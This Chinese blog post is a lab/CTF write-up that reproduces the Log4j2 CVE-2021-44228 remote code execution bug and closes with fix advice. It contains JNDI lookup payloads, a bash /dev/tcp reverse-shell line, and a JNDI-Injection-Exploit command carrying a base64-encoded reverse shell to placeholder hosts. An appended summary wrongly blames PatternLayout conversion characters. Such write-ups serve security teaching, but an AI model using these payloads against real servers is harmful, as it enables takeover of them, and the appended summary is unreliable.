log4j2 CVE-2021-44228 远程代码执行漏洞

漏洞简介

  • Apache Log4j2是一个基于Java的日志记录工具,开发者广泛利用该工具将程序的输入输出信息进行日志记录;该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限;

log4j2了解

  • log4j2是Apache下的java应用常见的开源日志库,其实也就是一个日志记录工具,控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息;

jndi了解

  • jndi通过lookup()方法解析接收自应用程序的信息,从而去对应的服务查找资源,如ldaprmidns等;
格式: ${jndi:rmi:x.x.x.x:1099/xxx}
  • 受影响版本

  • 2.0 <= Apache log4j2 <=2.14.1

环境搭建

漏洞验证

  • 开启环境成功访问靶场,看到如下页面;

在这里插入图片描述

  • 由于log4j2会与jndi进行交互,而jndi又会去对应的服务查找资源,所以利用${jndi:ldap://x.x.x.x}可以成功执行命令时,就可能会存在log4j2漏洞,使用dnslog平台进行测试;

在这里插入图片描述

  • 打开Burp工具漏洞页面点击?????进行抓包;

在这里插入图片描述

  • 将抓到包的payload进行替换;
payload=${jndi:ldap://dnslog给的域名}

在这里插入图片描述
在这里插入图片描述

  • 这一步会有个坑大家需要好好注意下,如果直接发包响应会400,这里需要对内容进行url编码,然后再进行发包即可;

在这里插入图片描述

  • 查看dnslog平台可以看到被成功解析了;

在这里插入图片描述

漏洞复现

  • 通过上面的测试成功验证了确实存在log4j2漏洞,此时有个新的思路,既然可以执行命令,那如果执行的是反弹的命令,不就可以拿到shell了么😁;
  • 将反弹shell的命令进行base64编码,原因是java中如果存在一些特殊的命令字符会有问题,导致反弹失败;
bash -i >& /dev/tcp/vps-ip/监听端口 0>&1: 如果是本地搭建的环境使用kali反弹及其他操作即可,特殊情况需使用vps

在这里插入图片描述

知识小拓展

JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象;JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互;

在这里插入图片描述

  • 将工具下载好后传到vps上,使用java命令进行编译以生成payload;
java -jar JNDI-Injection-Exploit-1.0.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A vps-ip

在这里插入图片描述

反弹shell

  • 复制JDK生成的payload,1.7和1.8版本的都好像反弹不成功,这边暂时也不是很清楚啥子原因😂,接下来还是和之前的操作一样替换payload并进行url编码;

在这里插入图片描述

  • vps开启监听1234端口;

在这里插入图片描述

  • 发送编码后的payload可以看到vps上已经成功反弹shell;

在这里插入图片描述

  • /tmp目录下成功拿到flag;

在这里插入图片描述

修复意见

1)设置log4j2.formatMsgNoLookups=True,相当于直接禁止lookup查询出栈也就不可能请求访问到远程的恶意站点;
2)对包含jndi:ldap://jndi:rmi//这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入;
3)对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等;
4)将log4j2升级到最新的安全版本;

下一篇 > fastjson CNVD-2019-22238 远程代码执行漏洞

以上内容就是log4j2 CVE-2021-44228 远程代码执行漏洞复现过程,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Apache Log4j2是一个广泛使用的开源日志管理工具。然而,最近发现了一个严重的漏洞,被命名为CVE-2021-44228。这个漏洞允许攻击者通过恶意构造的日志事件来执行任意代码,导致系统被远程攻击者完全控制。 漏洞是由于Log4j2中的PatternLayout布局处理器存在一个特定的模式转换字符(%d、%i、%m、%p等)被恶意利用的问题。攻击者可以将恶意代码嵌入到日志事件中,并通过向受影响的Log4j2实例发送恶意请求触发此漏洞。一旦攻击成功,攻击者可以在受影响的应用程序上执行任意的远程代码。 这个漏洞的危害性非常高,因为日志功能几乎在每个应用程序中都得到广泛使用。攻击者可以通过恶意日志事件执行各种攻击,包括远程命令执行、数据库注入、代码执行等。受影响的应用程序可能会泄露敏感数据、遭受损坏甚至被完全控制。 解决这个漏洞的最佳方法是升级到Log4j2的最新版本。Apache已经发布了修复此漏洞的版本,更具体地说是2.15.0和2.16.0,这些版本不再处理这类模式转换字符。如果无法立即更新,可以考虑在应用程序中禁用PatternLayout布局处理器,或者使用其他日志管理框架替代Log4j2。 此外,还建议及时监测应用程序的日志活动,并对异常的日志事件进行审查。如果遇到可疑的日志事件,应立即采取行动,例如暂停相关服务、排查日志事件来源、加强网络安全防护等。 总之,Apache Log4j2CVE-2021-44228漏洞是一个严重的安全威胁,可能导致系统被完全控制。及时升级到修复版本、加强监控和审查日志活动是应对该漏洞的关键步骤。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值